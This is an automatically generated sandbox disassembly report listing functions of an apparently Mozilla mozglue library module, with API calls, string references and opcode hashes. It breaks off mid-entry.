Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9981E3, 6C998311
name, xrefs: 6C997ECF, 6C998335
data, xrefs: 6C998280, 6C9983E1
(pre-xul), xrefs: 6C997E88

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

kernel32.dll, xrefs: 6C9534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C953508

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

NaN, xrefs: 6C9B9EAB
-Infinity, xrefs: 6C9B9E60, 6C9B9E7B

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C95D852
9, xrefs: 6C95DE7F
0, xrefs: 6C95DC7F
1, xrefs: 6C95DBDD
, xrefs: 6C95DA88
@, xrefs: 6C95DAF6
8, xrefs: 6C95DC08
-, xrefs: 6C95D7DD

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C96A625
0, xrefs: 6C96A100
1, xrefs: 6C96A824
' , xrefs: 6C96A3D8
0, xrefs: 6C96AB22
9, xrefs: 6C96A5D6

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
